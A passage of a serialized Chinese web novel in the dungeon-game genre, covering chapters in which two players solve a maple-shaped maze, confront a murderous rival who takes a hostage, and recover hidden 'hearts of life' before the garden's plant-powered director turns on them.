“……你那条路也不通向出口？”
两人同时发问。
“……”
“我那边，全是一模一样的岔路口！”许舟大声嚷嚷，毫不掩饰不满，“我走过两条岔路，尽头都是尖尖的。”
沈霁眼眸闪了闪：“……我那也是。”
许舟看着沈霁闪烁的眸光，脑海中的电路仿佛被接通了一般，她快步回到墙边，重新端详起墙上的叶子。
“原来是这样啊…”
84. 四季植物园（24）
许舟白皙修长的手指虚抚一片枫叶，与枫叶保持若有若无的距离。
“其实迷宫的形状与路线，早就已经告诉我们了。”许舟微垂着眼，迷雾笼罩过的双眸此刻变得透亮清晰。
沈霁微喘着气走上前来，别的男人流汗后大多会有一股汗臭，但沈霁身上的，却是一股淡淡的清香，似是一尘不染。
低头看向许舟指前的叶子，长睫为眼眸覆上一层灰暗，思索片刻后，沈霁抬眸，后退两步望向前方的高墙与五个入口，眸光微动。
“这个枫叶迷宫有五个入口，而这些墙上的枫叶都长得一模一样。”沈霁眉尾一挑，“并且，这些枫叶都是由五个尖角或裂片组成的。”
“五”这个数字，顷刻成为了连通迷宫到真相的入口。
“再看这五个通道，通道之中不时出现及其相似的三岔路口。”许舟缓缓开口，话语却像剥洋葱一般渐渐剥开笼罩在真相上的层层迷雾。
“而我们目前为止一共去过两个通道，不管是岔路的尽头还是走到通道的末端，都会遇到收束起来的两侧墙壁。”沈霁语气闲散而意有所指，“如果我没猜错的话，其他三条道路也是如此。”
“因为这个枫叶墙迷宫的形状就是枫叶。”许舟啧了一声，“答案其实一直就在我们面前。”
“而所谓的五条通道与里面的三岔路口，就是枫叶的叶脉。每一丝叶脉的尽头都会收束成一个尖角，就和道路的尽头一样。”沈霁尾音勾着找到真相的笑意。
“这个迷宫根本就没有出口，不管沿着哪一条叶脉前进，最终抵达的都只不过是枫叶状五个裂片其中一个的尽头。”许舟抬起头，十分确信道，“而尽头也只会是收束起来的死路”
沈霁轻笑两声：“但我们根本不需要找到出口，不是吗？”
许舟会心一笑：“我们要找的，从来都只是生命之心罢了。”
园长从冬区带到秋区，被秋区植物藏匿的，那颗生命之心。
“这个迷宫，只是藏匿生命之心用的障眼法。”沈霁轻托下巴，陷入沉思，“那生命之心会被藏在哪里呢？”
许舟并不开口，开始了自己的头脑风暴。
当她的注意力再次落向墙上的片片枫叶时，她莞尔一笑：“迷宫是枫叶的五个裂片和叶脉，那枫叶的另一部分呢？”
枫叶的那最不起眼的一部分。
闻言，沈霁轻抬下巴，望向其中一片枫叶：“枫叶的叶柄。”
“能充当枫叶叶柄的，只有…”许舟回眸，张望身后。
“秋季主题酒店和酒店前的一小片空间。”沈霁又是一笑，“在现实世界里，我们拿着一片叶子，常常会拿着它的叶柄。”
“我们现在要找到生命之心，自然应该去这最容易被触及的地方。”
而秋季主题酒店与迷宫之间的广场空空，掘地三尺绝不实际。
那就只能是…两人不约而同地望向秋季主题酒店。
“走！”
“不过还有一个问题。游客和园长通常都走中间的小房子进出四个区。”许舟还没走进酒店，便又想起了什么，“如果秋区只有迷宫和酒店，那如何前往小房子呢？”
沈霁微微蹙眉，但并未停下脚步：“这是个问题......”
在两人迈入酒店的同一瞬，两个身影进入了秋季主题酒店的电梯之中。
其中一个人...似乎有些眼熟。
而另一个人，在一闪而过的瞬间，似乎用把尖刀抵住了前者的背。
许舟用力眨了眨眼睛，企图让两人的残影留得更久一些。
很可惜，她还是没能认出被刀抵住的那人是谁。
彼时，天际忽现白光，细长的白光划破了天空，让天空裂开一道缝隙，紧随其后的是隆隆雷声，如万马奔腾。
雷声震出了许舟心中的不安。
她与沈霁迈开大步跑到电梯前，可惜还是晚了一步。
电梯显示屏上的数字已经由1变为了2。
“爬楼梯！”
两人直直奔向旁边的逃生楼梯，一步三个台阶地猛奔。
楼梯间的灯忽闪忽闪，许舟心里刚产生的不安爬满了全身，化作一阵鸡皮疙瘩。
片刻，许舟听见楼上被雷声模糊了的电梯开门的“叮咚”声，而与此同时灯亮一瞬，“3F”的标识赫然出现在眼前。
“电梯停在了四楼！”嗓音夹杂在隆隆声中。
两人加快了步伐冲向四楼。
打开楼梯间的大门，明亮的灯光射入许舟的双眸，让她不由自主地微眯双眼。
一旁的电梯门正在缓缓关闭，而电梯中竟是一片昏暗！
“电梯灯呢？！”许舟诧异地问道。
“电梯顶的灯被人拆了。”沈霁说，“似乎从电梯顶取走了什么东西。“
“我的生命之心！”
能取走的，除了生命之心，还有什么呢？
只不过目的...一时之间，脑中一片空白。
“抓到人再问！”沈霁没有片刻迟疑，跑向电梯连通的唯一一条道路——客房走廊。
反应过来的许舟紧随其后。
不远处，一个人正挟持另一个人快步前进，听到两人追赶的声音，他们并未加快脚步，而是同时转过身来。
“园长！？”
园长脸色苍白地站在前方，而后面的人将刀锋死死抵住了园长的颈部。
后者是个身材比园长高上几许的男人，他的戴着一个粉色的发箍，发箍上有两朵花瓣...
他的双颊，是更多数不清的粉色花瓣。
似乎是一名...
“引导员？”许舟喃喃猜测。
“不是引导员！他是夏区的生命之冠醉蝶花的拟人化！”也许是许舟和沈霁的到来加强了园长冷望飞的胆量，他大声喊道。
先前清冷的矜贵在挟持之下荡然无存。
“呵。”
刀又进了一些，点点血珠渗透。
园长冷望飞短促地“呃”了一声，却透露出刀划伤的痛苦。
“这人是...”许舟恍惚之间，觉得这名夏区生命之冠的脸庞似乎有些眼熟。
只不过在花瓣的遮挡下，让她思维混沌，一时难以辨认。
这位醉蝶花男人嗤笑两声，用没有持刀的那只手捧出了一颗蓝色的、跳动着的心脏。
“你们要找的生命之心。”醉蝶花男人笑吟吟地说道。
与此同时，许舟的眼睛转了转，醉蝶花男人的笑容与记忆中另外一人的
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微笑逐渐重合。
“这是缤纷广场举办摆碗游戏的男人！”沈霁低头，在许舟耳畔低语，“原来你们，真的是以另一种身份进入副本的玩家。”
语气肯定万分。
许舟惊讶地看向沈霁，一时忽略掉了前方的醉蝶花男人和园长冷望飞。
虽然她本已决定告诉沈霁，但他现在竟自己就猜到了这件事...
“我知道你们在说什么。”醉蝶花男人语气带着不容置疑的意味，“很高兴第二次遇见你们。”
但为什么这个醉蝶花男人...丝毫不介意被普通玩家猜到身份？
许舟眉心微动。
“所有知道的人，都得死。”醉蝶花男人加重了语气。
迫于冷望飞这个NPC在，醉蝶花男人不便说得太明显，但寥寥数语，已经表面了他的态度。
他借助摆碗游戏让玩家进来，就没打算让玩家活着出去。
“在你们死前，我可以屈尊告诉你们我的名字。”醉蝶花男人说着，刀又进了一分，脖子的血珠变成了细流，顺着刀刃流向男人的手，“思北组织，宋安乔。”
“这么说来...冬区游客和春区游客都是...”许舟想到了冰湖上令人毛骨悚然的冰雕人和曲心奕口里说的死去的春区游客。
“没错，我干的。”宋安乔哈哈大笑，“我还夺走了春区游客的腕带，为的就是你们辨认模糊。”
“找生命之心哪有这么复杂呢？”宋安乔见两人不说话，继续得意地说，“挟持园长就好了，不是吗？其实我一开始时在冬区，杀掉所有冬区游客后我就通过挟持园长，顺利地从小房子在四区自由穿梭，哪有走什么员工通道啊？”
宋安乔沉浸在自己的经历之中：“通过挟持他，我知道了植物园的历史和生命之心的位置。园长没用了，我就将他杀在了春区。但我后来竟在春区再次遇见了他！”
“说啊，你用了什么死而复生的手段？”宋安乔质问胸前的冷望飞，“嗯？”
“怪不得宋安乔迟迟不杀冷望飞，原来是杀过一次，知道杀不死。”沈霁冰冷的眼神像锋利的刀子一样，直扎宋安乔。
“杀人对你有什么好处！”许舟无法理解地问。
杀人的同时，也需要承担极大的风险。
“我能力的强度，取决于杀人的次数。”宋安乔隐晦地指出自己异能的特性。
“你真的觉得，你一定能杀我们吗？”沈霁轻蔑一笑。
“我不需要直接动手。”宋安乔似乎在嘲讽两人的无知，他晃了晃手中蓝色的那颗跳动的心，“毁掉这颗生命之心，你们还能活吗？间接杀人，也算杀人哦。”
没错，许舟已经选择了继续副本，按照副本的习性，竞速失败或剧情探索度没达到100%便很可能通不了关，如果没有索菲亚那样的逃离道具，便只有死路一条。
“呵。”
又是一声轻笑。
但这次，笑声的来源不是宋安乔，而是...园长冷望飞。
又是一记闪电，它的光芒透过走廊尽头的落地窗，如一条银蛇般冲向园长冷望飞和宋安乔。
在冰冷的闪电光芒下，宋安乔挟持的人，从园长冷望飞，变成了许舟的老熟人。
李梅梅。
85. 四季植物园（25）
雨滴在闪电的映射下如同银色的珠帘，在走廊的尽头的窗外倾洒而下。
狂风卷着豆大的雨点噼里啪啦地击打着窗，泅出一点点的雾气。
银蛇般的闪电来得快去得也快，紧随其后的是万马奔腾的雷声，所有人的嗓音变得模糊。
而宋安乔挟持的人，又变回了冷望飞。
许舟漆黑纤长的睫毛微微颤动，迟疑地望向沈霁。
只见他喉结动了动：“你刚刚看到了吗？”
“看到了。”
果然，不是幻觉。
“你们在说什么？”宋安乔大喊着，轰鸣的雷声让话语声在短短走廊中的传播变得咫尺天涯。
而由于宋安乔背对着被劫持者的身躯，他没有察觉闪电侵袭那一瞬，后者面容的变化。
许舟长睫低垂，眸光透过睫羽落向手腕的表——此时，此刻，下午一点半。
再扬起长睫望向沈霁时，眼眸多了几分明亮，带着深深的肯定与确信：“这是李梅梅，而不是园长冷望飞。”
“因为规则上曾说，园长冷望飞只会在14：00-15：00出现在园区中。哪怕因为受到劫持而滞留，时间也应当在15：00后而非14：00前。”
“因为按宋安乔的性格，他不可能带一个人在旁边一天以上，这会影响到他的暴力行径的施展。更何况，园长冷望飞是人，不存在死而复生的可能性。”
许舟逐字逐句地分析，越说越坚定。
“我听不到！”太把自己当回事的那位宋安乔仍在扯着嗓子大喊，完全没想到两人的注意力根本不在自己身上。
等等，既然被挟持者是“梅花精”李梅梅幻化出来的园长冷望飞，那刚刚她的轻笑是想提醒我什么…？
许舟明眸似水地回望李梅梅，但她已然变回了那紧张胆怯的冷望飞模样。
“别忘了，你是冬区生命之冠——仙客来。”沈霁淡淡道。
对！李梅梅刚刚就是想提醒我我的身份！
作为生命之冠，是有对应季节区的异能的！
但…沈霁为什么会猜到我们BOSS阵营玩家能继承对应角色异能？
他究竟还猜到多少？
许舟暂时将疑惑压在心底，转而明眸皓齿地一笑——宋安乔在副本中杀了大量的人，为的不就是提升自己异能的实力么？
利用各区死亡条件大肆屠杀的他，恐怕还没意识到，在这个副本里，继承了生命之冠异能的boss阵营玩家，短暂地失去了原有的异能。
“主打的，就是一个信息差。”许舟款款向宋安乔走去。
“什么信息差？”渐息的雷声与雨点声让宋安乔成功捕捉到许舟的只言片语。
冬区植物的异能叫什么来着…？
“冰雪消融…”许舟回忆在冬区见到的四条规则的内容。
宋安乔有些溃败地问：“什么冰雪…？”
他无法接受对方说出的话语，在他耳中如天书般意味难明。
对他而言，他想做那个，高高在上，屠杀众人的神。
冷望飞，不，李梅梅唇角微勾。
她悄无声息地将手探到口袋里，而一块冰块从李梅梅的兜里落了地。
沈霁低低地笑了两声，似乎是在夸赞李梅梅的准备充足。
“我说，我要使用异能，冰雪消融。”许舟一字一顿地说，“还有，我想说，你是真的蠢。”
话音刚落，原本一滴水珠也没产生的冰块融成了水滩，漫向宋安乔的鞋子。
与此同时，许舟的心脏像被狠狠揪了一下般，疼痛几分。
“如果我没猜错，你也销毁不了，这颗生命之心吧？”沈霁意味深长地一笑。
闻言，宋安乔第一次面露惊慌之色。
他一开始决定盗走四区生命之心，也只是打算将其藏匿，让所有人都找不到。
直到被许舟和沈霁发现行径，才用蓝色的生命之心威胁两人，至于怎么销毁生命之心，还真不是他能想得到的。
“你不是园长！？”宋安乔终于意识到被挟持者的不对劲，犹疑道。
“你自己都说了，园长冷望飞被你杀了，不是么？”李梅梅也不再伪装，但仍顶着冷望飞的脸。
“我就算死，也可以把你带上。”宋安乔目光冰冷如刃，手起刀落，捅入李梅梅的脖子。
但…
这次，流出来的不是血液。
而是朵朵梅花。
“植物哪有这么容易杀？”许舟歪头，忍着疼痛满脸天真地问道。
宋安乔再度垂眼，自己的一只鞋子已经结了冰，正以极高的速度继续向上蔓延！
另一只鞋子因为距离冰块落点较远，暂时幸免于难。
“我在思北，一直以狠著称。”
“不管是对自己，还是对别人。”
宋安乔恶狠狠地说着，带着狠厉的语气久久回荡在许舟耳畔。
他竟是抽回尖刀，将自己结冰的小腿连筋带肉地砍了下来！
随后，他为加快速度，随手扔下蓝色生命之心，用一条腿飞快地蹦向一间客房。
踏——踏——
他用钥匙打开了门，蹦进去后锁门，尽管缺了条腿，动作仍行云流水。
“他挟持我的时候，顺走了一楼大厅的客房钥匙。”李梅梅解释道，一边迈出两步，似乎想追。
“不用追了。”许舟摇摇头，“我们已经拿到生命之心了，他蹦哒不了多久。”
想象着宋安乔单腿一蹦一蹦的样子——真?蹦哒。
“不过…冷望飞真的死了？”许舟试探道。
“死了。”李梅梅确信道。
“你怎么知道？”
“我埋的。”
“……”
又是一阵沉默。
氛围尴尬，而不失诡异。
许舟只想问——您是如何如此平淡地说出这三个字的啊？
要不这个冬区生命之冠，您来当？
李梅梅率先找回了自己的声音：“事情是这样的...我一开始，装扮成李婉清，是因为虽然每个引导员只有一套工作服，但绿化工有两套。绿化工的工作服内部会缝上名字。”
“你只偷到了李婉清的工作服？”沈霁沉眸猜测，映着许舟捂着胸口的身影。
李梅梅点了点头：“后面我杀死了左通海…”
许舟闻言，眸光微动，不知说些什么好。
“因为绿化工的工作服颜色会对应季节。一般会在排班后分发对应季节颜色的两套服装。所以我偷走的夏季红工作服不是长久之计，我干脆装扮成左通海。”
“说实话…你在员工通道与我们相遇时，吓到我了
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。”许舟嘟着嘴，“我以为那个是融化后被人控制的左通海。“
“融化后的左通海还在夏区瞎跑呢。”
“……”莫名有点奇怪。
“当时有个不认识的人在，我不敢相认。”李梅梅意指曲心奕，“这些年来偷跑到其他区的游客很多，而且长袖容易遮住腕带，工作服就那么明晃晃地穿在身上，冒充游客可比冒充绿化工轻松得多。”
心脏的疼痛不减反增，许舟席地而坐，倚在宋安乔断裂的冰柱腿上。
感受到刺骨的冰凉，冬区冠许舟瞬间神清气爽，眉头都舒展了几分：“后来，你在春区遇到被杀害的园长冷望飞，把他埋了之后，干脆就变装成了园长。”
沈霁不知怎么地，想到冬区那个惶恐的男人——大抵是宋安乔在冬区利用规则杀人的漏网之鱼。
“有人在冰雕前畏畏缩缩，有人在冰雕前席地而坐。”看见许舟情况转好的沈霁简短点评。
“……”许舟瞪了他一眼。
“你不舒服吗？”李梅梅这才意识到异样，但她只是摊了摊手，“没事的。在不属于自己的季节区动用能力会损耗更多的能量，很快就会恢复了。”
原来，在其他季节区使用异能的代价如此微小。
在夏区地洞时，许舟、沈霁和典寻云还就此进行了一番讨论。
许舟无奈地摇摇头。
“你故意被劫持，是想找到生命之冠吧。”许舟云淡风轻地说，“不然你早就可以把他变成冰雕。”
李梅梅不置可否地一笑，似是默认了。
蓝色的生命之心仍在地上一下又一下地跳动，内部纹理细腻而复杂。
李梅梅如视珍宝般轻轻将其捧起，递给面前的许舟。
许舟细嫩的右手缓缓地向晶莹剔透的蓝色心脏靠近，虚拢在它之上，掌心被染上淡淡蓝光。
在她要触及它的前一秒，许舟如触电般缩回了手——曲心奕找到生命之心了吗？
若是没有，自己这一碰，恐怕会给她带来灾难吧。
李梅梅疑惑不解：“怎么了吗？”
许舟慢慢直起身，缓缓道：“我要先去见一位朋友。”
“朋友？在哪？”李梅梅环顾四周，“先收回生命之心吧。”
“朋友，也许还在冬区。”
直截了当地，避开了李梅梅的提议。
李梅梅还想再劝，望向许舟紧抿的薄唇，没有再开口。
“跟我来。冷望飞已经死了，我们不走员工通道。”李梅梅用最少的话，给出最有效的方案。
许舟和沈霁默默地跟着她的身后，来到秋季主题酒店的一楼大厅。
“秋区连向四区中央小房子的通道就在酒店里。”李梅梅淡淡道，“我也是跟着醉蝶花才知道的。”
醉蝶花，正是宋安乔在副本扮演的身份。
秋季主题酒店的员工通道旁的一角，另一扇门紧紧关闭，许舟和沈霁当时并未留意。
这扇门，便直通四区中央的小房子。
李梅梅一手捧着生命之心，一手拉开大门。
然而就在这时，“嘶——”，一道细小的裂缝赫然出现在这颗蓝色心脏的顶上，随后蔓延到心脏的每一处。
蓝色的生命之心，就在三人的注视下，在雷声的洗礼下，在闪电的聚光下，成为了一堆碎片。
86. 四季植物园（26）
“它——碎了......”李梅梅微启嘴唇，如春蚕吐丝般喃喃，“生命之心，没有了。”
那一刻，空气仿佛凝固成透明的琼脂。
三人被生命之心的碎裂偷走了声音，启动自我保护机制的神经还没缓和过来。
丢失蓝色生命之心，对李梅梅而言是冬区的万劫不复，而对许舟和沈霁而言，更是一场死亡。
所有的言语都太过苍白，许舟呆愣了一会儿，手不由自主地向生命之心的碎片探去。
是冰凉的质感，从许舟的指尖，一直蔓延到她绷紧的脊背。
“怎么会呢……”许舟终于找回了自己的的声音
她用一只手随意地拿起一块碎片，另一只手在碎片堆里四处摸寻。
“虽然不知道你在找什么，但……”李梅梅将双手向前一递，大部分的碎片都散落在她的手心。
许舟微不可察地点点头，碎片中摸索的纤长白皙的手指轻轻颤动，头脑中的一团乱麻让她无法辨认自己摸到的到底是什么。
沈霁沉默站立片刻，走上前来，垂眸观察李梅梅手里的碎片堆。
半晌，他用食指和大拇指从中捻了一片碎片，递给许舟：“这个。”
许舟张了张嘴，没有发出声音。
她接过碎片，与原先拿起的那一块碎片的裂缝对比，而后用双手将其拼接在一起。
哪怕只有万分之一的可能性，她也要殊死一搏。
但…在许舟松开手的下一秒，两块碎片再度分离，冰冷地落入李梅梅的手心。
“对不起...姐。”李梅梅低低地说道。
“不是你的错。”许舟不会随意迁怒他人。
李梅梅低落得咬了咬唇，唇瓣冒出点点血色。
雷雨又一次地加大马力，雨点淅淅沥沥地打在落地窗上，发出白噪音。
李梅梅落寞地说道：“…这几天的天气一直这样，大小雨落个不停。不止园区内模拟的气候如此，植物园外的世界也雷雨频发。”
植物园外层叠的乌云，罩着整座植物园，更笼住了植物园中的的每一株植物和每一个渺小的人。
又是一记惊雷。
但这记惊雷，轰然打破了许舟因低沉而封闭的心。
她抬眸，稍显淡然地望向远处的雨滴：“也许，这蓝色的生命之心，本来就是假的呢。”
本来，就是假的。
六个字重重击打沈霁和李梅梅的耳膜，让他们的神情不约而同地发生了巨大的变化。
李梅梅错愕地问道：“这是假的？！”
她难以置信地盯着手里的碎片，上一秒还视若珍宝的东西，下一秒就被告知这本就是废品。
许舟并不给出肯定的回应：“还是先去连通四区的小房子吧。”
李梅梅顿了一下，随即带头走去。
“……死马当活马医。”许舟跟了上去。
“什么？”李梅梅没有听清。
“…没什么。”
沈霁故意落后李梅梅几步，低声问道：“你应该也是有依据的吧？”
许舟直白地说道：“我只是觉得，植物园外的雷雨，不会毫无意义。”
沈霁眉梢几不可见地蹙起：“…我也是。”
……
在紧张与不确定中度过的每一秒都显得格外漫长。
十几分钟的路让两人觉得已经过去了一个世纪。
“到了。”
李梅梅停下脚步。
这是两人第一次真正来到这小房子。
他们曾两次与小房子产生交集。
第一次是在夏区告示牌前，遇到园长冷望飞从中走出；第二次是在员工通道坐电梯时，这大概率是电梯的一楼。
而小房子装潢与员工通道电梯的负一楼无异。
电梯坐落在正中央，前后左右四扇门通向四个不同的季节区。
角落有一扇小门，门前是一台结着蛛网的安检仪——门外应该就是植物园外的副本世界。
“嘎吱——”
冬区的门应声而开，桂花曲心奕的身影探出头来。
“…？”见到许舟三人，她先是瞳孔地震，而后似有迫不及待与许舟分享的事情般道，“你知道吗？我听说园长死了！”
许舟面无表情地点点头：“……知道。”
“……？”
“她埋的。”许舟指向身边的李梅梅。
“……”
“这位是…我在员工通道遇到你们时，和你们在一起的引导员？”李梅梅疑惑地打量着曲心奕，问许舟道。
曲心奕眨眨眼，她可不知道当时遇到的“左通海”其实就是这位李梅梅。
未等曲心奕说话，许舟便有些突兀地和李梅梅说道：“你先回冬区吧。你也在其他区待了很久了，对身体不好。”
许舟本意只是支开李梅梅，毕竟曲心奕是秋区生命之冠。
但是…李梅梅把许舟的话当成了真情实意的关心，她的眼眸泅了一圈水雾：“谢谢你的照顾…但我弄碎了生命之心，又怎么能丢下你一人。”
“…真的不是你的错。”事情的发展有点出乎许舟的意料，“而且…这个生命之心不一定是真的。”
“我知道你是为了安慰我。”李梅梅坚定地摇了摇头，“我是不会走的。”
“……走。”许舟一时语塞。
“不走。”
一阵反复拉扯推脱。
许舟利用自己生命之冠的身份说道：“我的话，你也不听了吗？”
李梅梅一怔，无论她与许舟所扮演的生命之冠私下关系如何，在园区中的阶级却还是很明确。
她隐忍地点点头：“我明白了。”
随机拉开冬区的大门，没入冰冷入骨的寒冬。
终于，小房子里只剩下许舟、沈霁和曲心奕三人。
“找到你的生命之心了？”许舟故作轻松地问，她还不想让自己的情绪影响曲心奕。
“你呢？”曲心奕反问。
“我……”许舟哽住，说找到也不是，没找到也不是。
曲心奕见状却是问道：“我猜，你找到了，但没完全找到？”
许舟缓缓开口：“也可以这么说…”
“哗啦——”
曲心奕丢出一堆淡黄色的碎片：“我们都一样。”
许舟这才意识到，曲心奕的生命之心，也化作一摊碎片。
初进门时关于园长已死的分享欲不过是想掩住自己的悲伤。
一人生命之心的碎裂，是悲剧。但
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两人生命之心的碎裂，可能就是个喜剧。
毕竟，同样的事情很难连续发生。
沈霁出言安抚：“这生命之心，基本可以确定为假。”
“那真的呢？”
“我觉得，园长的办公室如此…简洁，可能还藏了别的东西。”许舟的语气由怀疑逐渐变为肯定。
说走就走，三人进入电梯，直接通往三楼，直奔园长办公室。
办公室四面墙后对应四个植物园季节区，唯一与外界相连的，是天花板上的方形天窗。
正如李梅梅所言，窗外暴雨如注。
雨滴肆意狂妄地拍打天窗，似要吞噬众人。
一个大胆的猜想出现在许舟的心底。
“我们需要等一记闪电。”她说。
“闪电？”曲心奕站到天窗下，不解地说，“我进入副本时就在春区，还没见过植物园的雷电雨。”
毕竟按冬区见到的四个规则所说，春区是没有雨的。
沈霁却如梦初醒：“闪电和镜子一样，能让我们看见特殊的东西。就像是在秋季主题酒店的走廊里，冷望飞的面孔在闪电下变化成了李梅梅。”
尾音未落，闪电降临。
银白色的光芒充斥着园长的办公室。
在他干净整洁的书桌上，四颗颜色各异的心脏现出了原型。
“我对''最危险的地方就是最安全的地方''这句话有了新的认识。”曲心奕淡淡地说。
不足一秒，银光消失，心脏也消失了。
“这才是真正的生命之心。”许舟断言，“冷望飞在获得四区生命之冠的生命之心后，将真的生命之心藏匿再次，而将假的生命之心打乱给予四个季节区。”
——恭喜解锁剧情碎片“园长的私心”
——剧情完成度达到90%
许舟和曲心奕默契上前，静候下一次闪电的到来。
天气没有让她们失望。
银光再次填满办公室的那一刻，伴随着沈霁的一声“碰！”，许舟和曲心奕同时伸出一只手，握向属于自己的那一颗生命之心。
与此同时，湛蓝色的光斑与浮游到许舟的身旁，将其包裹。
而淡黄色的丝线从曲心奕手中蔓延，逐渐缠绕她的身躯。
——恭喜完成竞速任务：寻匿生命之心
——名次：1
AI女音如贴着许舟的耳朵般响起，取代了轰鸣不绝的雷声。
然而…副本好像还没打算让三人离开。
顿时，一阵危机感向许舟袭来，她的背脊被细腻的汗水粘湿。
“为什么剧情完成度没到100%？”
透过蓝色的斑点，她看到沈霁微微张嘴，说道。
许舟心里一颤——普通玩家，原来也是有剧情完成度的，但意义，应当与BOSS阵营的特殊玩家不同。
但这种想法只停留了一刹那。
“园长明明是个人类，他为什么能像植物一样，将四颗生命之心以这种肉眼看不见的方式隐匿在办公室？”
许舟终于知道内心的不安从何而来，她恐惧地问道。
“你是在问我吗？”
不知从什么时候起，园长冷望飞倚靠在办公室的门边，目光锋利地看着三人。
87. 四季植物园（27）
尽管如此，他的语调随意而懒散，嗓音漫不经心，仿佛只是随口一问。
许舟身侧的蓝色斑点渐渐凝聚成团，由点点蓝星变为一个个光球，神秘而充满力量。
“仙客来？”园长冷望飞审视着许舟，流畅的下巴微扬，在他话音落下的下一秒继而审视起曲心奕，“桂花？”
曲心奕身侧的黄色线条如纺织般交错，为她着上一件最璀璨的淡黄色大衣。
冷望飞淡然一笑：“你们的关系，什么时候这么好了？我怎么不知道？”
“你不是被杀死了吗？”许舟问。
“你是说这个？”冷望飞嘴角漾起弧度，慢条斯理地拉去了一侧袖子。
他的皮肤上是触目惊心的伤疤，一道又一道，交错纵横。
那层干涸而坚硬的痂壳，色泽或深，或浅。
“春区的锯齿叶雨，伤我不浅呢。”冷望飞语调端得散漫，“夏区那生命之冠竟然以为这样就能杀死我…”
语罢，他漫步上前，许舟和曲心奕试图离开原地，但这本该给予她们力量的光球和线条顷刻之间成为了无形的枷锁，将她们束缚在原地。
“而你们冬区的梅花，竟然还埋了我。”冷望飞抖了抖外套，附着在身上的泥土缓缓脱落，细碎地落在四周。
“你也是植物…？”许舟瞥到冷望飞伤口处的青苔。
“不是哦，我是植物人。”
短短八个字，透露出冷望飞的无限自豪。
“噗嗤。”
听到“植物人”三个字，许舟三人不约而同地低笑两声，打破了这份紧张的氛围。
“……？笑什么。”冷望飞疑惑不解。
“挺好的，植物人。”许舟压下比AK还难压的嘴角，一本正经地说道，“顾名思义，植物与人类的结合体。”
冷望飞略略弯腰，将头探到许舟跟前，端详着她的表情：“你真这么觉得？”
“保真。”许舟硬生生扯着自己的肌肉，不让自己笑出声。
冷望飞满意地点点头。
他漫步走到天窗下方，抬头看天，下一刻的闪电让他的嘴脸变得尤为狰狞。
“我知道你们不是真正的冬区和秋区生命之冠。”冷望飞断言，“因为夏区的醉蝶花妄图杀死我。”
说罢，冷望飞走到书桌前，拉开底下的大柜门。
“扑通——”
一个被五花大绑的男人掉落在地。
他挣扎着，拼了命地挣扎着，在地上蠕动。
重获光明后，他布满了泪水和红血丝微微眯了眯，见到冷望飞后，不住地向他摇头，把头摇得像拨浪鼓，似是在求饶。
看见男人手腕的蓝色腕带，许舟立即将他的面孔与冬区见过的人联系起来：“你不是那个一直躲着我们的人吗？”
男人点点头，又摇摇头，已然神志不清，只有泪水哗哗地往下流。
“我在冬区见到他。干脆就让你们…”冷望飞一顿，“团，聚。”
他轻轻一抬手，办公室的四角登时长出一棵幼小的树苗，它们以较普通树木以千万倍的速度生长，很快就顶破了办公室的天花板。
随后，四棵大树的树干上歪七扭八地长出了数不胜数的尖长树枝，逐渐塞满办公室。
许舟和曲心奕在被束缚的范围内，以扭曲的姿势艰难地躲避，但这样下去，早晚会有一根树枝扎中她们。
植物是不容易被杀死，但她们终究只是进入副本暂时取代植物的凡人，副本会轻易放过她们吗？
不会。
而她们虽然获得了理论上能增强实力的生命之心，她们就真的能获得这强以百倍的能量吗？
不能。副本不会允许这种极限的存在。
许舟自嘲似的摇了摇头。
而地上被绑起的男人更不必说，他唯一能做的，就是祈祷，祈祷这些刺恰有偏差的远离自己。
沈霁虽然行动自如，但尖刺布满整个办公室，让他避无可避亦是肉眼可见的未来。
曲心奕已顾不得冷望飞在场，她一边扭腰躲闪，一边问身边的许舟：“你剧情完成度多少了？”
“90%”许舟尚能清醒回应。
“我也差10%。”曲心奕语速飞快，“不到100%，这破副本不会让我们走的。”
“剩下10%的问题肯定出在园长身上。”许舟抬起右臂躲过一根尖刺，分析道。
曲心奕寻思片刻：“冷望飞刚刚说，他知道我们不是真正生命之冠的原因是夏区醉蝶花想杀他。”
许舟眼前一亮：“醉蝶花是宋安乔。”
“谁啊…？”
许舟这才想起来曲心奕并不认识宋安乔，她长话短说地解释后轻声说道：“这样看来，四区生命之冠，应该都知晓园长的植物…植物人身份。”
说道“植物人”三字，许舟还是难掩尴尬。
“四区植物应该杀不死他，而四区生命之冠对此了然于心。所以他才会判断试图杀他的宋安乔已经不是原来的夏区生命之冠。”
“没错。当年四区植物获得特殊力量后，园长应该也从中获益，得到了一些类植物力量。”曲心奕一时想不到更好的词来形容。
“没能力的话，也就当不了这个园长了。”许舟苦笑一下，“先前怎么没想到呢？能与四区生命之冠签合同的人，又怎么会是等闲之辈。”
“收走四区生命之冠的生命之心，恐怕也是他的提议。这样一来，植物园最强大的就是他了。而他又不必杀死四区生命之冠，毕竟他还要利用植物赚钱，在外享乐。”曲心奕缩了缩肩，莫名地有些毛骨悚然。
不过…许舟满心满腹都是怨念——宋安乔害了她一次，没想到在这还隐形地害了她第二次！！！
——恭喜解锁剧情碎片“植物人冷望飞”
——剧情完成度达到100%
——恭喜通关“四季植物园”副本
——现在为您进行系统结算
——剧情探索度100%
——获得奖励：异能经验值
——“异能中介”目前等级：C级
——竞速名次：1
——获得奖励：自选下次副本日期
——注：选择的日期需要在一个月内
——请选择
周遭的空气都凝固了，宛若停止流动。
先前让许舟觉得诡异的平静氛围，此时对她而言却是难得的片刻喘息。
她看着面前生长停滞
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的半截尖刺，饶有趣味地……戳了一下。
——请尽快选择
许舟嘴角不满地微微牵动：“催什么嘛…”
“半个月。”
——请确认
“我确认。”
紧接着，系统音顿了一下。
“又要搞我？”许舟眉头扭成“川”字。
——被副本npc得知身份
——惩罚：一小时后回到现实世界
——系统结算完成
“真的搞我！！！”
许舟大叫道。
似乎觉得对许舟的话置若罔闻有些太不礼貌，系统贱兮兮地在许舟的脑海里补充道：“搞的就是你。”
许舟：“……”
下一秒，面前的半截尖刺猛烈地冒出尖头，许舟灵活地在可移动范围内闪了个身。
抬眸一看，沈霁和被五花大绑的男人已经不见踪影。
而曲心奕还在身旁愁容满面地躲着一根根刺。
许舟的长睫微动——沈霁和陌生男人是被系统送走了吧…他们的通关条件与自己这类玩家并不相同。
在冷望飞的视角里，这只是眨了次眼的时间，两名“游客”就原地蒸发，凭空消失。
他轻抿唇线，眉尾一挑：“你们果然不是原来的植物了。让我猜猜，为什么他们走了，你们没走？”
语罢，冷望飞掀了掀眼皮，好整以暇地欣赏两人的表情。
“不会是因为你们走不了吧？”还没等许舟和曲心奕开口，他就眉峰一动，自问自答。
而尖刺已经侵占了大半个办公室。
